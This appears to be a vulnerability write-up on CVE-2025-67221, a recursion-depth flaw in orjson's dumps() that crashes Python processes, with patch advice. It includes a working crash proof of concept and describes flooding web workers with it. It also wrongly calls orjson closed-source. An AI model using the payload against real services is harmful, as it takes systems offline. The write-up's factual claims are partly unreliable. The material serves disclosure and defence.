Stack Overflowing the Unoverflowable: Breaking orjson (CVE-2025-67221)
Jan 23, 2026·5 min read·4 visits
Executive Summary (TL;DR)
Versions of `orjson` <= 3.11.4 fail to limit recursion depth during serialization. An attacker can crash any Python application using `orjson.dumps()` by supplying a deeply nested JSON object (e.g., a list of lists of lists). The fix requires upgrading to 3.11.5+.
orjson, the self-proclaimed 'fastest, most correct' Python JSON library, met its match in a simple recursive list. CVE-2025-67221 is a critical Denial of Service vulnerability where deep recursion in `orjson.dumps()` triggers a stack overflow, instantly crashing the Python process. While Rust usually saves us from memory corruption, it doesn't save us from physics—specifically, the finite size of the call stack.
The Hook: Speed at Any Cost
If you are a Python developer dealing with high-throughput APIs, you know orjson. It is the nitrous oxide of JSON libraries—written in Rust, avoiding the CPython overhead, and generally bragging about being "the fastest" and "most correct." It is the default choice for performance-critical frameworks like FastAPI.
But here is the thing about speed: safety features often add drag. When you are optimizing for nanoseconds, checking boundaries feels like a chore. The developers of orjson built a serializer that is blazingly fast but, until version 3.11.5, lacked a fundamental safety belt found in almost every other serializer: a recursion limiter.
This vulnerability (CVE-2025-67221) is a reminder that even memory-safe languages like Rust cannot protect you from logic flaws. If you let a user define the depth of your call stack, you are handing them the kill switch to your application.
The Flaw: Recursion Without Brakes
To understand this bug, you need to understand how JSON serialization typically works. When a library like orjson encounters a container type (like a dict or list), it usually calls itself recursively to process the contents.
In a healthy implementation (like Python's standard json module), there is a counter. Each time the function recurses, the counter increments. If counter > LIMIT (usually 1000 or 2000), the library throws a RecursionError and bails out gracefully.
In orjson versions $\le$ 3.11.4, this check was missing or insufficient for certain structures. The library would happily recurse until it hit the hard limit of the operating system's stack size. When the stack pointer exceeds its bounds, the OS doesn't send a polite Python exception; it sends a SIGSEGV (Segmentation Fault). The process dies instantly, without a traceback, without a try/except block to save it.
The Code: The Missing Guardrail
While orjson is closed-source about its exact proprietary optimizations, the fix is conceptually simple. The vulnerability exists in the Rust implementation of the serializer. Rust's memory safety guarantees ensure you won't get a buffer overflow in the heap, but stack overflows are fair game.
The Vulnerable Logic (Conceptual Rust):
fn serialize(value: &Value) -> Result<Vec<u8>, Error> {
match value {
Value::Array(arr) => {
// Loop through and recurse blindly
for item in arr {
serialize(item)?;
}
},
// ... other types
}
}The Fix:
The remediation involves threading a depth counter through the call stack or checking the remaining stack space (a feature Rust provides via libraries like stacker, though manual counting is cheaper).
fn serialize(value: &Value, depth: usize) -> Result<Vec<u8>, Error> {
if depth > MAX_DEPTH {
return Err(Error::RecursionLimitExceeded);
}
match value {
Value::Array(arr) => {
for item in arr {
serialize(item, depth + 1)?;
}
},
// ...
}
}Without this if statement, the CPU instruction pointer essentially drives off a cliff.
The Exploit: Crashing the Interpreter
Exploiting this is trivially easy. You don't need shellcode, you don't need ROP gadgets. You just need a nested list. The researchers who found this provided a straightforward Proof of Concept (PoC) that fits in a tweet.
Here is how you kill a vulnerable orjson process:
import orjson
# Construct a "Russian Nesting Doll" from hell
# Depth of ~100-200 is often enough to exhaust small stack limits
nested = []
for i in range(2000):
nested = [nested]
print("Attempting to serialize...")
# The process will terminate immediately after this line
# No Python exception will be raised.
orjson.dumps(nested)If you run this against a web server (e.g., a FastAPI endpoint that accepts JSON and logs it using orjson), the worker process will segfault. If the attacker sends these requests concurrently, they can keep knocking down workers as fast as the supervisor can spawn them, resulting in a total Denial of Service.
The Impact: Why It Matters
You might think, "So what? It's just a crash." But in modern microservices, availability is king.
- Hard Crash vs. Soft Exception: Standard Python
RecursionErrorcan be caught. You can log it, return a 400 Bad Request, and move on. A Segmentation Fault kills the process. All in-flight requests on that worker are dropped. - Resource Exhaustion: An attacker can use very little bandwidth (a small, deeply nested JSON payload is only a few KB) to force the server to allocate stack memory until it crashes. This is a highly asymmetric attack.
- Widespread Usage:
orjsonis the darling of the Python async ecosystem. It is used in FastAPI, massive data processing pipelines, and logging aggregators. If your logging infrastructure usesorjsonto dump context objects, an attacker might crash your logging sidecar just by sending weird data.
The Fix: Upgrade or Filter
The primary fix is simple: Upgrade to orjson >= 3.11.5 immediately. The maintainers have introduced recursion limits to prevent stack exhaustion.
If you cannot upgrade immediately, you must validate input depth before serialization. This is harder than it looks because you have to recursively walk the object yourself—which, ironically, is slow in Python, defeating the purpose of using orjson.
[!TIP] If you are using
orjsonin a web context, ensure your WAF or reverse proxy limits the size of the request body. While this doesn't strictly prevent deep nesting (you can nest deep in a small payload), it raises the bar for the attacker.
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
orjson ijl | <= 3.11.4 | 3.11.5 |
| Attribute | Detail |
|---|---|
| CWE | CWE-674 (Uncontrolled Recursion) |
| CVSS | 7.5 (High) |
| Attack Vector | Network (Remote) |
| Availability Impact | High (Process Crash) |
| Language | Python / Rust |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
The product does not properly control the amount of recursion that can occur, consuming excessive resources, such as memory or the stack.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.